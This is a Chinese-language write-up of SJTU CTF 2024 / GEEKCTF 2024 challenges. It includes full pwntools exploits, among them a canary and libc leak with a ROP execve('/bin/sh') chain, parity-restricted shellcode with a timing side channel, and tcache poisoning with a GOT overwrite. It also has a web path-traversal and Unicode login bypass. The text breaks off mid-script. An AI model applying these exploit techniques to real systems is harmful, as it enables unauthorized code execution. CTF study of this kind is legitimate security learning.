Skip to main content

SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp

·9382 words·19 mins·
CTF PWN Web Misc Reverse
Table of Contents

前言
#

记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag 可能会略有不同,但是解题的方法应该是一样的。

WEB
#

Secrets
#

本题的漏洞点是任意文件读取+特殊字符绕过 upper/lower。

攻击流程如下:

选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset路由

Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

看上去是用来读取不同主题的 css 文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。

在登陆页面查看网页源代码,发现 body 后面有一串看不懂的编码,放到 cyberchef 里一个个试发现是 Base85 :

解码结果

其中比较重要的是app.pypopulate.py

Cookie改成asset=app.py会回显hacker,改成asset=assets/css/../../app.py即可得到网站的源代码。

app.py里面硬编码了用户名和密码:

    def isEqual(a, b):
        return a.lower() != b.lower() and a.upper() == b.upper()
    ……
    if isEqual(username, "alice") and isEqual(password, "start2024"):
        session["logged_in"] = True
        session["role"] = "user"
        return redirect("/")

但是isEqual要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码,大写化后又要等于。第一眼看懵了,小写不相等但是大写相等?问下 claude :

claude结果

进一步搜索发现 upper 对 unicode 特殊字符的处理有些问题,用unicode包裹起来才会得到正确的大写。不过 claude 给的字符似乎不对,直接用 Python 遍历 unicode 字符好了:

def find_replacement_char(ch):
    # 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
    for i in range(0x110000):
        try:
            char = chr(i)
            if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
                print(char)
        except ValueError:
            # 某些 Unicode 码点无法转换为有效字符,跳过
            pass

find_replacement_char('i')

只找到了i的替代字符ıs的替代字符ſ。输入用户名alıce,密码ſtart2024,登录成功!

再看看populate.py

import os

from app import Notes, app, db

with app.app_context():
    db.create_all()
    if not Notes.query.filter_by(type="notes").first():
        db.session.add(Notes(title="Hello, world!", message="This is an example note."))
        db.session.add(
            Notes(
                title="Where's flag?",
                message="Flag is waiting for you inside secrets.",
            )
        )
    if not Notes.query.filter_by(type="secrets").first():
        db.session.add(
            Notes(
                title="Secret flag",
                message=os.environ.get("FLAG", "fake{flag}"),
                type="secrets",
            )
        )
    db.session.commit()

也就是说 type=secrets 会给我们 flag ,但是在app.py里还有过滤:

    type = request.args.get("type", "notes").strip()
    if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
        "role"
    ) != "admin":
        return render_template(
            "index.html",
            notes=[],
            error="You are not admin. Only admin can view secre<u>ts</u>.",
        )
    q = db.session.query(Notes)
    q = q.filter(Notes.type == type)
    notes = q.all()
    return render_template("index.html", notes=notes)

我们需要让and前面的逻辑表达式为否才能够不返回错误、获得 flag。

因此要想查看 flag,type 的参数需要是 secrets 的变体,页面上给 secrets 的 ts 划了下划线,猜测是提示将这两个字符换成特殊字符。

打开 Burp 的 intruder,payload 选用simple list,从网上下载了一个特殊字符的列表来爆破ts

最后 ts 替换成ƾ时,response 的 length 不一样,点进去看详情就能看到 flag。

intruder

flag:

0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

PWN
#

Memo0
#

本题的漏洞点是整数溢出和栈溢出。但是用不到,只需要逆向出密码。

攻击流程如下:

首先要输入密码登录,密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==对比,长得很像 base64,但是用 base64 解码出来不对。把sub_12E9的加密函数丢给 claude,直接逆出了密码。。。

def decode(encoded_data):
    # 计算解码后的数据长度
    length = len(encoded_data)
    decoded_length = (length * 3) // 4
    if encoded_data[-1] == '=':
        decoded_length -= 1
    if encoded_data[-2] == '=':
        decoded_length -= 1
    
    # 创建解码后的数据缓冲区
    decoded = bytearray(decoded_length)
    
    # 标准 Base64 字符映射表
    base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
    
    # 遍历编码数据并解码
    for i in range(0, length, 4):
        value = 0
        for j in range(4):
            if i + j < length:
                char = encoded_data[i + j]
                if char == '=':
                    value <<= 6 * (3 - j)
                else:
                    value |= base64_chars.index(char) << 6 * (3 - j)
        
        # 将 24 位值拆分成 3 个字节并写入解码后的数据
        decoded_pos = i // 4 * 3
        decoded[decoded_pos] = (value >> 16) & 0xFF
        if decoded_pos + 1 < decoded_length:
            decoded[decoded_pos + 1] = (value >> 8) & 0xFF
        if decoded_pos + 2 < decoded_length:
            decoded[decoded_pos + 2] = value & 0xFF
    
    return decoded.decode('latin-1')

print(decode('J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd=='))
# CTF_is_interesting_isn0t_itÀ

但是好像有点问题,将À改成?就对了。

一开始没有在本地新建flag文件,ida里面还把win函数看漏了。。。导致还在继续用栈溢出去劫持 control flow 调用win,其实逆向出密码就可以得到 flag。

完整exp:

nc 111.186.57.85 40310
===================Memo Login===================
Please enter your password: CTF_is_interesting_isn0t_it?
Login Success!
0ops{U_r_th3_ma5ter_0f_ba5e64}

flag:

0ops{U_r_th3_ma5ter_0f_ba5e64}

Memo1
#

本题的漏洞点是整数溢出和栈溢出。

攻击流程如下:

首先checksec:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

保护全开。然后看main函数,发现供用户输入的字符串在栈上,大小是264字节,乍一看用户也只能输入0x100即256字节,很安全。但是在实现edit功能的函数里面:

lea     rax, aLld       ; "%lld"
mov     rdi, rax
mov     eax, 0
call    ___isoc99_scanf
mov     edx, [rbp+var_1C]
mov     rax, [rbp+var_10]
cmp     rdx, rax
jle     short loc_1873
mov     rax, [rbp+var_10]
mov     edx, eax
mov     rax, [rbp+var_18]
mov     esi, edx
mov     rdi, rax
call    sub_170E

可以发现,允许用户输入的是有符号数,而比较的时候却是根据无符号数进行比较,然后在读取用户输入的时候又使用其低32位作为允许输入的长度,因此会出现类似0xffffffff00000109 < 0x8的情况,却允许用户输入0x109个字节。

为了能够输入我们想要的长度,需要将0xffffffff00000109这样的数转换成相应的负数:

def convert_to_signed(num):
    return (-1)*(0xffffffff-num)-1

至此,我们总结一下能够利用的漏洞:

可以利用整数溢出在栈上写非常长的内容,因此可以利用栈溢出劫持程序控制流。

但是由于保护全开且没有win函数,因此我们需要先leak canary,然后leak libc,最后在栈上布局 ROP chain 来 get shell。

我们先在sub_170e函数(读取用户输入的函数)处下一个断点,观察栈的布局。

stack

发现 canary 距离用户输入的起始位置为0x108字节,因此我们需要覆盖用户输入的前0x109字节为非0字符,然后调用 show 就可以连带 canary 一起输出出来。而读取用户输入的sub_170e函数是一个带0截断的函数:当我们输入\n会被替换成\x00,如果长度参数正好等于我们输入的长度,就不会添0。因此我们需要让其长度参数恰好等于0x109,也就是在调用edit时,输入的长度为convert_to_signed(0x109)。然后输入0x109个A,再调用 show ,最后7位就是 canary 的高7位。

用户输入的起始位置加上0x118个字节是 libc 的地址,与基地址的偏移是0x29d90,使用和 leak canary 几乎一样的方法可以 leak libc。

最后就是在栈上布局 rop chain 了。因为有libc,因此可以直接用 libc 的 gadgets ,使用 pwntools 构造一个execve('/bin/sh',0,0)的 Rop,在栈上 canary 的位置填入 canary ,返回地址处布局 rop chain ,即可得到 shell。

rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

完整 exp:

from pwn import *

binary = context.binary = ELF('./memo1')
libc = binary.libc

# p = process(binary.path)
p = remote('111.186.57.85', 40311)

password = b'CTF_is_interesting_isn0t_it?'
p.recvuntil(b'Please enter your password: ')
p.sendline(password)
# then it is a overflow

def add(payload):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b'What do you want to write in the memo:', payload)

def show():
    p.sendlineafter(b'Your choice:', b'2')
    p.recvuntil(b'Content:\n')
    return p.recvline()[:-1]

def edit(length, payload):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b'How many characters do you want to change:', str(length).encode())
    p.send(payload)

def get_flag():
    p.sendlineafter(b'Your choice:', b'114514')
    p.interactive()

# beause there is a jle instruction, so we can use negative number to bypass it
def convert_to_signed(num):
    return (-1)*(0xffffffff-num)-1

main_offset = 0x1938
libc_offset = 0x29d90

### first leak canary
add(b'A' * 0x8)
edit(convert_to_signed(0x109), b'A'*0x109)
response = show()
canary = response[0x109:0x109+7].rjust(8, b'\x00')
canary = u64(canary)
info(f'[LEAK]: canary: {hex(canary)}')

### leak libc address
payload = b'A' * 0x118
edit(convert_to_signed(len(payload)), payload)
response = show()
libc_leak = response[0x118:0x118+6].ljust(8, b'\x00')
libc_leak = u64(libc_leak)
info(f'[LEAK]: libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'[LEAK & CALC]: libc_base: {hex(libc.address)}')

### leak pie address
# payload = b'A' * 0x128
# edit(convert_to_signed(len(payload)), payload)
# response = show()
# main_addr = response[0x128:0x128+6].ljust(8, b'\x00')
# main_addr = u64(main_addr)
# elf.address = main_addr - main_offset
# info(f'[LEAK & CALC]: pie_base: {hex(elf.address)}')

# gdb.attach(p, '''
# ''')

### no win_func now, wo we use rop
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

get_flag()

flag:

0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233}

Shellcode
#

本题的考察点正如题名是 shellcode,但是 seccomp 只允许了 open 和 read ,没有 write ,因此需要利用循环来实现类似侧信道攻击。另外,对 shellcode 的字节做了限制:

  1. 偶数索引处的字节必须是偶数,奇数索引处的字节必须是奇数

      for ( i = 0; i < v5; ++i )
      {
        if ( (char)(*((char *)buf + i) % 2) != i % 2 )
          return 0xFFFFFFFFLL;
      }
    
  2. 大于0x80的奇数不能用

    mov     rax, [rbp+buf]
    add     rax, rdx
    movzx   eax, byte ptr [rax]
    mov     edx, eax
    sar     dl, 7
    shr     dl, 7
    add     eax, edx
    and     eax, 1
    sub     eax, edx
    movsx   ecx, al
    

    这段实际上是将 shellcode 的字节作为一字节的有符号数来对2取模,因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1,但是对索引的取模是看作无符号数,因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在 shellcode 中,这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、callretsyscall全都禁止掉了。

    思路:

    由于我们还要进行侧信道攻击,不可能每爆破一个字节都构造一个能满足要求的 shellcode,因此考虑分两个阶段:

    • 阶段1:调用 read 函数,rdi设置一阶段 shellcode 的起始位置,并将返回地址设置为这个起始地址
    • 阶段2:输入二阶段进行侧信道攻击的 shellcode,read 将返回到我们输入的这个 shellcode

    每个二阶段 shellcode 爆破一个字节:将[flag_addr+i]与每个可见字符作比较,相等时进入死循环,通过对时间的测量就能知道 flag 的每个字节是哪个字符值。

    开凑:

    先凑一阶段的 shellcode 。由于限制非常多,因此考虑尽量利用栈上已有的内容和寄存器中已有的内容(poppush某个寄存器都是一字节的指令,不同寄存器奇偶性质不同,很容易满足限制的要求)。

    stack

    stack

    rsp的最顶端是返回地址即main+0xc4,我们将这个地址poprax,然后对rax进行xor操作,可以得到read@plt,方便后续调用read库函数。有了这个思路,我们就需要布置好read的参数。rdi现在恰好是0,符合我们的要求,不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度,经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度,因此我们只需要将rsp+0x8的低8位值放到rdx中去即可:

        pop rax
        pop rbx
        nop
        xor edx, ebx
        pop rbx
        xor ax, 0x03e6
        xor ax, 0x100
        sub al, 1
    

    这样就已经将read@plt放到了rax里面,并布置好了rdi, rsirdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、callretsyscall都不符合这道题的过滤要求。怎么办?想起之前用ROPgadget的时候看到ret{num}这种形式的指令,去搜了一下,发现是ret之后,令rsp增加num字节。字节码是:b'\xc2\x01\x00'正好满足要求。但是又出现一个新的问题:

    栈指针增长奇数个字节后,我们就无法控制返回地址了。

    因此想到,如果在ret {num}之前先让栈增长或者减少奇数字节,而且这个命令能够通过过滤,就能解决这个问题。搜索发现有一个enter指令:

    enter指令的完整格式是:

    enter bytes, level
    

    其中:

    1. bytes是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。
    2. level是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。

    我这里用一个enter 0x1, 0x3,level 是我随便指定的,在 gdb 里面看效果:

    before_enter

    after_enter
    栈指针减少了0x21字节,那么我们再用ret 9就可以让栈重新和8字节对齐,在那之前先把read@plt的地址push入栈,ret的时候才能返回到read,等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的 shellcode 地址。

        nop
        push rbx
        push rax
        push rbx
        push rax
        push rbx
        enter 0x1, 0x3
        nop
        pop rbx
        push rax
        push rbx
        nop
        pop rbx
        ret 0x0009
        pop rbx
    

    至此第一阶段就构造完成了,第二阶段的 shellcode 就是open('flag', 0)然后read第i个索引处的字节,与各个可见字符进行比较,如果相等就死循环,通过时间判断是否命中,逐字节爆破到}为止,完整 exp 如下:

    # no write for us
    # defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
    # by pass shellcode check reference: 
    # - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
    # - https://ctftime.org/writeup/33656
    # - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
    # - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/
    
    from pwn import *
    
    binary = context.binary = ELF('./shellcode')
    # context.log_level = 'critical'
    
    shellcode1_part1 = asm('''
        pop rax
        pop rbx
        nop
        xor edx, ebx
        pop rbx
        xor ax, 0x03e6
        xor ax, 0x100
        sub al, 1
        nop
        push rbx
        push rax
        push rbx
        push rax
    ''')
    
    shellcode1_part2 = asm('''
        push rbx
        enter 0x1, 0x3
        nop
        pop rbx
        push rax
        push rbx
        nop
        pop rbx
        ret 0x0009
        pop rbx
    ''')
    
    shellcode1 = shellcode1_part1 + shellcode1_part2
    lenth = len(shellcode1)
    padding_times = int((0x200 - lenth) / 2)
    padding = b'\x90\x61' * padding_times
    shellcode1 = shellcode1 + padding
    
    for i, c in enumerate(shellcode1):
        # if c >= 0b10000000:
        #     log.info("bad byte %s at index %d" % (hex(c), i))
        #     log.error(shellcode1)
        if i & 1 != c & 1:
            log.info("bad byte %s at index %d" % (hex(c), i))
            log.error(shellcode1)
        if c & 1 == 1 and c > 0x80:
            log.info("negative byte %s at index %d" % (hex(c), i))
            log.error(shellcode1)
    
    # we need brute force every byte of flag
    # the seach space is 0x20 ~ 0x7e
    search_space = [i for i in range(0x20, 0x7e)]
    
    flag_probable_len = 0x40
    flag = ''
    for i in range(flag_probable_len):
        for ch in search_space:
            # p = process(binary.path)
            p = remote('111.186.57.85',40245)
            p.recvuntil(b'Please input your shellcode: \n')
            ### stage1: call a read syscall to read shellcode
            p.send(shellcode1)
            ### stage2: fuck yeah! we can send shellcode without limitation now
            # but we have no write
            # so we have to use ways like side channel
            shellcode2 = asm(f'''
            lea rdi, [rip+flag]
            mov rsi, 0
            mov rax, 2
            syscall
            mov rdi, rax
            mov rsi, rsp
            mov rdx, 0x100
            mov rax, 0
            syscall
            loop:
            xor rax, rax
            xor rbx, rbx
            mov al, byte ptr[rsp+{i}]
            mov bl, {ch}
            cmp al, bl
            je loop
            flag:
                .string "./flag"
            ''')
            shellcode2 += b'\x90' * (0x200 - len(shellcode2))
            p.send(shellcode2)
            # learned from changcheng cup...
            p.shutdown('send')
    
            # now if ch is the right byte, the program will be in a dead loop
            # otherwise the program will die
            sleep(1)
            # if p.poll() == None:
            #     flag += chr(ch)
            #     print("flag is now: ", flag)
            #     p.close()
            #     break
            # else:
            #     p.close()
            #     continue
            try:
                detection = p.fileno()
                p.recv(timeout=0.1)
                flag += chr(ch)
                print("flag is now: ", flag)
                p.close()
                break
            except:
                p.close()
                continue
    
        if flag[:-1] == '}':
            break
    
    print(flag)
    

    flag:

    0ops{practice_handwrite_shellcode}
    

flat
#

本题的考察点是 deflat 去混淆和 tcache 劫持。

其实题目对 deflat 的提示很明显,但是我一开始没往这方面向,直到出 flag 才知道要用 deflat,一开始是自己手动去混淆的:

先看明白了每种操作对应一个opcode,然后找==,然后根据i=xxxxx去找casexxxxx,有if的就猜测可能是对什么进行判断(比如索引、size),然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了:

  • 48879: 退出程序

  • 4112:堆块写,但是最后一位由程序置零(edit_0_end)

    e.g. edit_0_end(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 768: malloc

    e.g. malloc(index, size, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 2989: 堆块写(edit)

    e.g. edit(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度恰好等于size

  • 4919: free

    e.g.free(index)

    会检查0<=inex<31,检查address处是否已经为空,然后将对应address和size都置零。

  • 57005: 堆块读(puts)

    会对index所对应位置的size和address做非空检查,且0<=index<31,然后puts堆块内容

但是这里的0截断并没有off-by-null漏洞,在how2heap找了半天找不到利用方法。于是在gdb里先试着:

from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

p = binary.process()

def malloc(index, size, data):
    p.sendline(b'768') 
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.sendline(data)

def free(index):
    p.sendline(b'4919')
    p.sendline(str(index).encode())

def edit(index, data):
    p.sendline(b'2989')
    p.sendline(str(index).encode())
    p.send(data)

def edit_0_end(index, data):
    p.sendline(b'4112')
    p.sendline(str(index).encode())
    p.sendline(data)

def puts(index):
    p.sendline(b'57005')
    p.sendline(str(index).encode())
    return p.recvline().strip()

malloc(0,0x100, b'a')
edit(0, cyclic(0x100))
# gdb.attach(p)
malloc(1,0x100, b'b')
edit(1, cyclic(0x100))

发现mallo个两次0x100大小的堆块程序就退出了,于是在第一次后面把gdb附上去:

PoC

十分离谱……我到现在也没弄明白这个漏洞是哪里来的。

换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值,分别是我们输入的0x80处和0x88处,也就是说我们在0x80和0x88处写上合法的地址,下一次malloc相应大小的chunk就能控制我们输入的地址。

checksec一下:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'.'

那么我们现在需要做的就很清晰:

  1. leak libc
  2. got hijacking
  3. get shell

首先,准备好用于leak和劫持的堆块,以及写有/bin/sh的堆块;然后malloc一个可用大小为0x90的堆块,malloc一个可用大小为0x330(实际大小为0x340)的堆块并free掉,使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager地址(也就是该程序用来管理堆块的区域起始地址)。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时,就会返回heap_manager的地址。我们往这里面填入0x1000和free_got的地址,这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块,且位于free_got。因此我们这时再puts(0)就不会报错,也就能够leak出libc中free的地址,也就知道了libc的基地址。然后利用这个基地址知道system的地址,往0写入这个地址,也就将free劫持到system。最后我们free(1),1是我们之前放/bin/sh的地方,此时执行system('/bin/sh'),得到shell。

完整exp:

from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

# p = binary.process()
p = remote('111.186.57.85', 40246)

def malloc(index, size, data):
    p.sendline(b'768') 
    p.sendline(str(index).encode())
    p.sendline(str(size).encode())
    p.sendline(data)

def free(index):
    p.sendline(b'4919')
    p.sendline(str(index).encode())

def edit(index, data):
    p.sendline(b'2989')
    p.sendline(str(index).encode())
    p.send(data)

def edit_0_end(index, data):
    p.sendline(b'4112')
    p.sendline(str(index).encode())
    p.sendline(data)

def puts(index):
    p.sendline(b'57005')
    p.sendline(str(index).encode())
    return p.recvline().strip()

free_got = binary.got['free']
heap_manager = 0x4060B0

# we will use this to get libc leak and control free_got
malloc(0,0x500, b'a')
malloc(1,0x20,b'/bin/sh\x00')
free(0)

# 2 is used to get control of tcache
malloc(2,0x90, b'b')
# 3 is used to make a tcache bin
malloc(3,0x330, b'c')
free(3)
gdb.attach(p)
edit(2,p64(heap_manager)*(0x90//8))
# now tcace bin is
# 0x340 [  1]: 0x4060b0 ◂— 0x0
# 0x350 [  0]: 0x4060b0 ◂— ...
payload=p64(0x1000)+p32(free_got)
# now we control the heap_manager
# we make index 0 's size 0x1000
# and we make index 1 's pointer to free_got
malloc(3,0x330,payload)
# this will puts what is on the free_got
response = puts(0)
libc_leak = response[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym['free']
info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}')
system = libc.sym['system']
# we overwrite free_got with system
edit_0_end(0,p64(system))
# 1's pointer point to /bin/sh
free(1)
p.interactive()

flag:

0ops{learning_deflat_trick_to_defeat_ollvm}

REVERSE
#

Peer-Trace
#

这道题的考察点是ptrace和strace的用法。

peer程序会调用puppet程序,并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。

先从网上学习了下ptrace的用法,主要关注PTRACE_POKEDATA, PTRACE_SETREGS因为这两个会修改被监视子程序的内存/寄存器。

puppet程序的逻辑是读取一个输入,长度需要为48字节,然后逐字节与0x28异或,最后与ct区域的48字节做比较。

建议使用strace观察程序运行过程中ptrace相关内容:

strace ./peer

peer程序的主要逻辑可以通过观察PTRACE_POKEDATA, PTRACE_SETREGS和相应的ida伪代码得到:

  1. 对输入的48字节做下面的逻辑:

    • 分为8组,对每组:
    • 交换0,5
    • 交换1,7
    • 交换2,6
    • *((_BYTE *)v25 + j) -= j + i,其中j是组内索引,i是组号,v25是每组的起始地址
    • 交换3,4
  2. 在异或0x28后,劫持程序,对每个字节做如下修改:

      v25[0] = 0xA39C3E6994313F40LL;
      v25[1] = 0x17872470565B9B60LL;
      v25[2] = 0x11A918AABA97CA68LL;
      v25[3] = 0xB8F1B0AB9B3DD3B0LL;
      v25[4] = 0x488749FB6A1835E4LL;
      v25[5] = 0x82926F78FE98158LL;
    

    每个字节分别与peer中此时的v25中对应字节相加,舍去进位。

最后再与puppet程序中ct区域的48字节作比较,需要相等。整个过程都是相对简单的可逆过程,将算法反过来即可。完整exp如下:

from pwn import *

v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158)
ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7)
# tmp1 is the bytearray after xored
tmp1 = bytearray()
# each byte in tmp is the result of ct[i] - v25[i]
for i in range(48):
    if ct[i] < v25[i]:
        tmp1.append(ct[i] + 256 - v25[i])
    else:
        tmp1.append(ct[i] - v25[i])
# tmp1 is the bytearray before xored with 0x28
for i in range(48):
    tmp1[i] ^= 0x28
print(tmp1)

def reverse(cypher):
    # group cypher into 8 bytes
    cypher = [cypher[i:i+8] for i in range(0, len(cypher), 8)]
    # for each group, we decrypt it
    for i in range(len(cypher)):
        # swap BYTE3 and BYTE4
        tmp = cypher[i][3]
        cypher[i][3] = cypher[i][4]
        cypher[i][4] = tmp
        for j in range(8):
            cypher[i][j] += j + i*8
        # swap BYTE2 and BYTE6
        tmp = cypher[i][2]
        cypher[i][2] = cypher[i][6]
        cypher[i][6] = tmp
        # swap BYTE1 and BYTE7
        tmp = cypher[i][1]
        cypher[i][1] = cypher[i][7]
        cypher[i][7] = tmp
        # swap BYTE0 and BYTE5
        tmp = cypher[i][0]
        cypher[i][0] = cypher[i][5]
        cypher[i][5] = tmp

    # get the result
    result = b''
    for i in range(len(cypher)):
        result += bytes(cypher[i])
    print(result)


reverse(tmp1)

flag:

0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP}

MISC
#

QrCode2
#

本题考查的是二维码的结构和标准qrazybox的使用

之前在做hackergame还是geekgame的时候碰到一道华维码,是华容道和二维码还原的结合。题目没做出来,但是在群里看到个二维码仙人,整天在群里发他还原二维码的过程。这下真用上了,快说谢谢二维码仙人。

贴一个二维码仙人的二维码教程

要用到的工具是qrazybox

由于定位块缺失,我先直接根据图片把已知的黑色白色都填充上,然后一个一个试纠错等级,发现只有M0是符合的,然后用qrazybox的tools把padding bits补上:

复原

但是缺失的内容实在太多了,无论是直接提取还是用Reed-Solomon Decoder都得不到flag,但是通过Data Sequence Analysis可以看到message data有一个},而题目已经告诉我们这题的flag格式为flag{.*},根据二维码格式,我们将前5位message data修改位flag{,这时候再用Reed-Solomon Decoder已经可以得到flag了。

修改数据后的结果:

final

flag:

flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v}

WhereIsMyFlag
#

本题考察的是视力和对数据的处理能力。

在github的commit记录最后可以看到:

import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

运行这段代码发现处理后的数据还是1f8b开头,推断仍然是gzip。直接写到文件里去:

import gzip
import base64
x = gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

with open("out.gz", "wb+") as f:
    f.write(x)

然后再终端反复解压缩,得到二进制文件后strings一下:

gzip -d out.gz
mv out out.gz
gzip -d out.gz
strings ./out

就可以得到flag:

flag{760671da3ca23cae060262190c01e575873c72e6}

RealOrNot
#

本题考查的是写脚本的能力,大概。

pow challenge 应该是区块链中的概念?但是和这道题关系不大,这题的pow challenge直接让AI就能写,要花太长时间的challenge就跳过好了。

给的server.py并不会输出第几张图片判断错了,但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片,服务器会每次选20张让我们判断真伪,因此我们可以先将所有图片都随便打上标签,然后根据标签去向服务器发送答案,服务器每次都会给我们纠错一张,我们根据错误信息修改对应图片的标签,很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。

保存图片的脚本:

import hashlib
import base64
import os
import uuid
from pwn import *

def verify_pow_solution(challenge, solution):
    prefix = "0000"
    guess = solution + challenge
    guess_hash = hashlib.sha256(guess.encode()).hexdigest()
    return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
    start_time = time.time()
    while True:
        for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
            if verify_pow_solution(challenge, solution):
